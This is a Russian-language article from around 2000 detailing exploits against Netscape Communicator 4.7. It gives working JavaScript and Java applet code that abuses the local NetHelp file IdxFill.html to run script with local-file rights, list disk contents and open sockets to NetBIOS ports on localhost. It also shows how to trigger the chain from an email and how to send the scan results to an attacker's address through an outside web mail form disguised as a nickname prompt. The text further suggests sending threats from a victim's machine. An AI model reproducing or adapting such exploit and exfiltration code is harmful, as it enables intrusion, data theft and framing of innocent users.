| ||||||||||||||||
![]() | ||||||||||||||||
| ||||||||||||||||
![]() | ||||||||||||||||
| ||||||||||||||||
![]() |
"Безопасный" Netscape Communicator 4.7. Часть II. Доступ к локальным каталогам и сокетам. Часть II Предисловие Приведённые в статье приёмы частично основаны на недоработке системы безопасности JVM, упоминавшейся в посткриптуме статьи 'Безопасный' Netscape Communicator 4.7. Читаем чужие настройки, обходим ограничения Java... ( далее упоминаемой как часть I), и проблемах LiveConnect Java изложенных там же в главе 2 ( далее - I.2). Приступая к чтению, по возможности, ознакомьтесь с последней редакцией части I. Большое спасибо всем, откликнувшимся на предыдущую часть и особенно N. Adler'у, S. Charapaev'у, B. A. Sidorov'у, Н. А. Дариной за конструктивную критику и полезные советы по написанию статей. II.1. JVM имеет право на личную жизнь... :) Одно из важнейший ограничений системы безопасности Javascript в NC состоит в
том, что из страниц открытых http -протоколу, запрещён доступ по протоколу
"file://", например конструкция open(file://...) - выдаст ошибку (access
disallowed). Также JS запрещён вызов страниц about: (например about:cache). В
NC 4.7 введено ещё более строгое ограничение - доступ ко внутренним
элементам/объектам документа ( например window.document.link), возможен
только из страницы, открытой в том же домене. Например при попытке доступа из
Для чего нужны были вышеприведённые ограничения, Вы увидите чуть позже.
К, сожалению, Java-машина живёт по своим законам... Фрагмент апплета
Впрочем, думалось автору, сама по себе эта ошибка не представляет в версии 4.7 особой опасности, ведь доступ локальным файлам( каталогам) возможен только из такого же. Поэтому в статье и в hackzone.rsn оказался эпитет "небольшой баг"; а тем, кто поленился обновить старый Netscape, так и надо, там и других ошибок немало... На всякий случай, решено было ещё раз почитать справку. II.2 NetHelp помогает всем... Нет, описаний обхода системы безопасности там не оказалось. Просто листая
исходники справки обратила внимание на строку 124 файла IdxFill.html ( Каталог
\Program Files\Netscape\Communicator\Program\NetHelp\")
Мало того, что имеет место вызов определённой во внешнем файле функции, так ей ещё и в качестве параметра передаётся ссылка на объект document вызванной страницы!!! Пусть, мол, пользователь на своей шкуре почувствует, что такое Динамический HTML 8-(). Нам остаётся только определить bindDocEvts в заголовке страницы и вызвать IdxFill.html в качестве фрейма. Ах, да доступ к файлам с внешних страниц запрещён. Был. Никто не мешает нам дать ссылку на файл содержащий апплет, описанный в II.1 <html> <head> <SCRIPT LANGUAGE="JavaScript"> function bindDocEvts( docObj ) { docObj.write("<script> :"); }; var lastKnownValue="none"; // Эта строка необходима, чтобы коректно выполнилась первая, ненужная нам часть IdxFill </script> </head> <FRAMESET COLS="50%,50%"> ... <FRAME SRC="readr.html" NAME="v1"> </FRAMESET> </html> --------------------------- chat.ru/~avkvladru/readr.html --------------------------- <html> : <applet code=second.class name=second width=720 height=240 > </applet> ... </html> --------------------- chat.ru/~avkvladru/second.java -------------------- ... public class second extends Applet { ... public void paint(Graphics g) ... URL myURL=new URL("file://D|/Program Files/Netscape/ Communicator/Program/NetHelp/IdxFill.htm"); getAppletContext().showDocument(myURL,"_self"); ... } Параметр "_self" функции ShowDocument, означает, что myURL замещает текущее окно (фрейм). Внимание, этот пример дан в предположении что Netscape Communicator установлен на диск D c стандартными опциями пути. Результатом его выполнения является произвольный скрипт, исполняющийся от имени локального файла!!! Возникает вопрос: как найти справку в конкретной системе? Никто не обязывает пользователя устанавливать браузер в стандартные каталоги, а тем более на диск D:. Неужели разработчики NC могли оставить эту проблему нерешенной ;-(? Нет, конечно. Точный путь к NС в конкретной системе содержится в переменной filename объекта navigator.plugins[1]. в виде "путь/program/plugin/:" (До сих пор не могу понять ЗАЧЕМ нужно было открывать сведения о расположении plugin'ов! 8-();) Файл справки всегда находится в каталоге "путь/program/NetHelp/". Воспользуемcя функцией split. Результатом скрипта navigator.plugins[0].filename.split(\"plug\")[0] + "NetHelp/IdxFill.html" и будет требуемый путь. Только как передать эту информацию в апплет? "Разумеется" и здесь Netscape идёт навстречу! "Небольшое дополнение" к стандартным библиотекам Java, (описанное в разделе III Сlient-Side JavaScript Guide v1.3." ), открывает доступ ко всем объектам JavaScript import netscape.javascript.*; JSObject win = JSObject.getWindow(this); String NCPath=win.eval("navigator.plugins[0].filename.split(\"plug\")[0]").toString()+ "nethelp/idxfill.htm"; Осталось решить, что можно написать в оператор write. II.3 Файловая структура. Широко известна особенность Netscape, представляющая открываемый каталог, как список линков. Возможно это и удобно при работе с ftp, но опасность этого решения уже неоднократно демонстрировалась различными эксплойтами, "дорвавшимися" к диску. Давайте не будем нарушать традицию. Читаем содержимое корневого каталога диска C:/ . ----- chat.ru/~avkvladru/dirsock3.html ----- <html><head><title>second </title> <SCRIPT LANGUAGE="JavaScript"> function bindDocEvts( docObj ) { alert("continue 1"); docObj.write("<script> for(i=1;i<top.v1.document.links.length;i++) alert(top.v1.document.links[i].href); "+ "alert('directory loaded...finish')"+"<"+"/script"+">"); }; var lastKnownValue="none"; </script> </head> <FRAMESET COLS="50%,50%"> <FRAME SRC="readrc.html" NAME="v1"> <FRAME SRC="readrpp.html" NAME="w1"> </FRAMESET> </html> ---------- chat.ru/~avkvladru/readrpp.html ---------- <html> <head> <title>second</title> </head> <body> <applet code=readrp.class name=readrp mayscript=on width=720 height=240 > <B> SET Java On</B> </applet> Ok </body> </html> ---------- chat.ru/~avkvladru/readrp.java ---------- import java.applet.*; import java.awt.*; import java.net.*; import netscape.javascript.*; public class readrp extends Applet { public void paint(Graphics g) { try { JSObject win = JSObject.getWindow(this); String NCPath = win.eval("navigator.plugins[0].filename.split(\"plug\")[0]").toString() +"nethelp/idxfill.htm"; String ConvPath="file:///"+NCPath.replace(':','|').replace('\\','/'); URL myURL=new URL(ConvPath); g.drawString(ConvPath, 10, 10); getAppletContext().showDocument(myURL,"_self"); } catch (Exception e) { g.drawString(e.toString(), 10, 10); } } } Приведённый пример выводит (в Unicode) имена каталогов( файлов) из с:/. Осталось адаптировать взятый из любого учебника рекурсивный код, сканирующий диск. II.4. NetBios, ты меня слышишь? Хоббит - это не только ценный мех.
Вам словосочетание "порты 137-139" что-нибудь говорит? Конечно, администраторы и локальных сетей, наученные горьким опытом, давно уже пользуются сетевыми фильтрами и файерволами, запрещающими доступ к NetBios с внешних адресов. Беда в том, что некоторые из пользователей ещё и Netscape'ом пользуются. Код запущенный от имени локального файла может обращаться к любым портам localhost по протоколам TCP UDP и др. реализованным в стандартных библиотеках Java, или тех, что мы сочтём нужным подгрузить. --------- chat.ru/~avkvladru/extsock.html --------- <html> <head> <title>second </title> <SCRIPT LANGUAGE="JavaScript"> function bindDocEvts( docObj ) { alert("sock"); docObj.write("<script> var mySock=new java.net.Socket("+'"'+"localhost"+'"'+",137);"+ "<"+"/script"+">"); docObj.write("<script> var mySock=new java.net.Socket("+'"'+"localhost"+'"'+",139);"+ "<"+"/script"+">"); - }; var lastKnownValue="none"; </script> </head> <FRAMESET COLS="50%,50%"> <FRAME SRC="blank.htm" NAME="bl"> <FRAME SRC="readr.html" NAME="w1"> </FRAMESET> </html> blank.html - пустой файл. Поскольку обращение идёт с локального же адреса, фильтр ничего не замечает. Впрочем, этот пример больше оценят пользователи Unix/Linux. Можно написать ещё несколько примеров использования ошибок II.1, II.2. Возможности разняться в зависимости от используемой версии NC, но полагаю, что читатели уже поняли - Java лучше отключить, а NetHelp стереть. II.5. "Безопасный Netscape Messenger (NM)" (добавлено 31/01/2000) У всех перечисленных выше багов был один "недостаток", мешающий их адресному или "индивидуальному" применению - надо вначале "заманить" нужного нам пользователя на страничку с эксплойтом. Это не слишком трудно, но методы "социальной инженерии" в отличии от технических, срабатывают не всегда, а так хочется совершенства: ;-) Лучше всего бы прислать страничку пользователю письмом или заставить
последнее открыть нужный адрес. На первый взгляд это невозможно - в
письмах запрещены фреймы, а javascript по умолчанию отключен, да и
функции open/location все равно не поддерживается JS for Messenger. Как
всегда, в трудную минуту на помощь приходит апплет, который по умолчанию
поддерживаются NM, имеющим общую c Navigator'ом JVM и никак не
осведомленную об ограничениях. Достаточно встроить в "мыло" вызов
"приложеньеца", содержащего уже известный код
и при попытке прочитать пришедшее письмо запустится эксплойт. Причем не произойдет даже переключения на вновь открытое окно! ( Зачем утруждать взломщика маскировкой?). II.6. Не прячьте настройки - это бесполезно. Как вы наверное уже заметили, сканирование каталогов в принципе
открывает путь к нахождению пользовательских настроек, а так же кэша и
почты (о них позднее). Напомню, что каталог в котором обычно хранятся
настройки ( кэш, почта) имеет вид
Как сканировать каталоги мы уже знаем. Правда пользователь, прочитавший ч. I. может ( начиная с NC 4.6) при помощи "User Profile Manager" переместить их куда угодно, например в /temp/tmpuser, так что найти их трудновато. Неужели разработчики NC забыли облегчить атакующему жизнь? Как известно стандартная фунция Java API, getDocumentBase().toString()
-возвращает строку, содержащую адрес документа, из которого был исполнен
объект. Как вы думаете, что вернет функция у апплета, вызванного из
письма? Правильно, адрес пришедшего письма на диске вида
Осталось добавить несколько слов о кэше. Netscape кэширует почти все
прочитанные файлы в каталоге
Допустим, мы отдали команду загрузить файл xxx.htm, содержащий код,
разрешенный к исполнению только для локального файла ( например
описанный в ч.I.1). Конечно, он не исполнится, но его копия окажется в
кэше, адрес которого нам уже известен. Как сканировать каталог,
подробно описано выше ( здесь надо будет сравнить две версии каталога с
целью обнаружения нового файла). Теперь файл загружаем как локальный:
Этот способ можно использовать в случае сложных(громоздких) эксплойтов,
которые не всегда удобно применять через дырку в NetHelp.
P.S. В ряде полученных мной писем выражалась ошибочная ( по мнению автора) точка зрения, что приведенные в статьях приемы доступны только владельцам серверов ( или тем кто имеет на них доступ к CGI и файлам) или требуют для отсылки явно указывать IP адрес, что позволяет легко вычислить использующего их. В настоящее время это не соответствует действительности. Во-первых, приемы приведенные в ч.I.2 позволяют написать Java -код, могущий отослать почту через почтовый сервер, поддерживающий ошибку скрипта. (ч. I.2). Во-вторых, можно воспользоваться любым Web-интерфейсом отсылки почты, замаскировав его под безобидный запрос nick'а или имени, благо Netscape JS, начиная с версии 1.2. позволяет подставлять в значения полей форм результаты операций (или просто значения переменных) в формате <input name = from value =&{JSObject}; ...> Вот конкретный пример: Вначале сохраним результат сканирования диска в переменной top.pss. ---------------------------------------------- Фрагмент http://www.chat.ru/~avkvladru/dirsock4.html, начало ---------------------------------------------- <SCRIPT LANGUAGE="JavaScript"> var pss="directory c:<br>"; var bl=window.location.toString().split("/dirsock")[0]; var adr="none@none.ru"; function bindDocEvts( docObj ) { docObj.write("<script> for(i=1;i<top.v1.document.links.length;i++) top.pss+=(top.v1.document.links[i].href+'<br>'); "+ "<"+"/script"+">"); docObj.write(top.pss); Чтобы "далеко не уходить" рассмотрим отсылку на примере сервера
---------------------------------------------- Фрагмент http://www.chat.ru/~avkvladru/sendmail.html ---------------------------------------------- <FORM METHOD=POST ACTION="http://security.lgg.ru/anmail/mail.pl"><PRE> <font face="Verdana, ARIAL" size="1"><INPUT NAME=from value=&{java.net.InetAddress.getLocalHost().getHostName()+"@name.is"}; SIZE=35> - From</font> <font face="Verdana, ARIAL" size="1"><INPUT NAME=to value=&{top.adr}; SIZE=35> - To</font> <font face="Verdana, ARIAL" size="1"><INPUT NAME=subject value="scan of c:" SIZE=35> - Subject</font><BR> <font face="Verdana, ARIAL" size="1"><INPUT NAME=body value=&{'"'+top.pss+'"'}; SIZE=1000> - Message</font><BR> </PRE> Полю from присваиваем адрес, содержащий имя хоста пользователя (см. I.3) Полю to - адрес для отсылки рез-тов (например avkvladru@mail.ru) ( в примере адрес запрашивается вызовом prompt("Enter mail..."); Также изменим тип поля body (был - textarea) на <Input> благо CGI к таким деталям нечувствителен. Осталось дописать в sendmail.html скрипт, обеспечивающий отсылку формы ---------------------------------------------- Фрагмент http://www.chat.ru/~avkvladru/dirsock4.html, продолжение ---------------------------------------------- <script> document.forms[0].submit(); </script> и обеспечить его вызов из BindDoc top.adr=prompt("Введите почтовый адрес,на который отослать результаты анализа диска (Enter e-mail for sent result)","avkvladru@mail.ru"); // alert(adr); v1.location=bl+"/sendmail.html"; }; var lastKnownValue="none"; </script> </head> <FRAMESET COLS="50%,50%"> <FRAME SRC="readrc.html" NAME="v1"> <FRAME SRC="readrpp.html" NAME="w1"> ... Единственное, что возможно спросит у пользователя Netscape: "можно ли отослать незашифрованные данные в какую-то форму". На практике большинство пользователей давно отключили этот запрос или не обращают на него внимания, т.к. он выдается при отсылке каждой формы. Кроме того, смысл запроса элементарно замаскировать, запросив тем же prompt имя или nick пользователя, якобы для дальнейшего обращения. Этот эксплойт отсылает результат сканирования Вашего диска по запрошенному e-mail просто при наличии у злоумышленника домашней странички на любом общедоступном сервере. Разумеется его работоспособность зависит от сервера lgg.ru, но на 01.01.2000 пример работал, да и аналогичных служб множество... ;-) Впрочем, могут сделать и кое-что другое. Например заманить Вас на страничку, незаметно отсылающую письмо г-ну П$&*ну (отключив флажок "анонимность"), с угрозой убить его, если он не прекратит войну в Чечне. И все это уйдет от Вашего Ip и hostname. причем на машине - никаких следов взлома. Наверняка содержимое каталогов будет потом подробно обсуждаться в местной прессе. 8-С.
P.P.S. Все приведенные в статье примеры выложены на
С Уважением - А. В. Комлин. [Назад] |
|
![]() | ||||||||||||||||
| ||||||||||||||||
![]() | ||||||||||||||||
|